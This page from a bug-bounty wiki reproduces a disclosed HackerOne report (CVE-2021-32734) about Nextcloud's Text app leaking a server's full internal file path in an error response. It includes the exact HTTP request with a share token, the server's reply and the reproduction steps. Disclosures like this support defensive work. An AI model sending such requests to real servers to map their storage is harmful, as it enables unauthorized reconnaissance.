Skip to content
Info disclosure Disclosed report Beginner CVE-2021-32734

Text app leaks file path of shared files

A request to create a text session for a shared file that does not exist returned an error containing the server's full internal file path. An attacker could learn the directory structure and folder names of the storage backend.

lukasreschkenc Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 22 hours
  • Disclosed after 44 days

By sending a request for a share without a README.md, the whole file path will be returned to the user:

PUT /apps/text/public/session/create?token=EHTs4P7kATowiMg HTTP/1.1
Host: cloud.nextcloud.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 93
Origin: https://cloud.nextcloud.com
Te: trailers
Connection: close

{"filePath":"//Readme.md","token":"EHTs4P7kATowiMg","guestName":"Bean","forceRecreate":false}
HTTP/1.1 500 Internal Server Error
Date: Mon, 28 Jun 2021 17:33:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Content-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'
Feature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'
X-Robots-Tag: none
Strict-Transport-Security: max-age=15768000; includeSubDomains; preload
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Content-Length: 49
Connection: close
Content-Type: application/json; charset=utf-8

"\/lukas\/files\/Private\/test-public\/Readme.md"

Impact

Disclosure of the full file path. Here shared is "test-public" but it also states "Private" which is the parent folder.

The original report as published on HackerOne, by lukasreschkenc. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the error handler returned the raw exception message, which included the resolved absolute file path, instead of a generic error.

Impact

The full internal file path is disclosed, revealing folder names including a parent folder named Private.

What the attacker needed

A share token for a shared text file

How it was found

  1. Send a session-create request for a shared file that does not exist, such as a README.md.
  2. Observe the server respond with an internal error.
  3. Read the full file path disclosed in the error response body.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a program hits an unexpected error, it sometimes shows internal details in the error message. Here the server replied with the full location of a file on its disk, including folder names that users were not meant to see. That kind of leak helps an attacker map out the server's storage.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by lukasreschkenc

View all

3 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.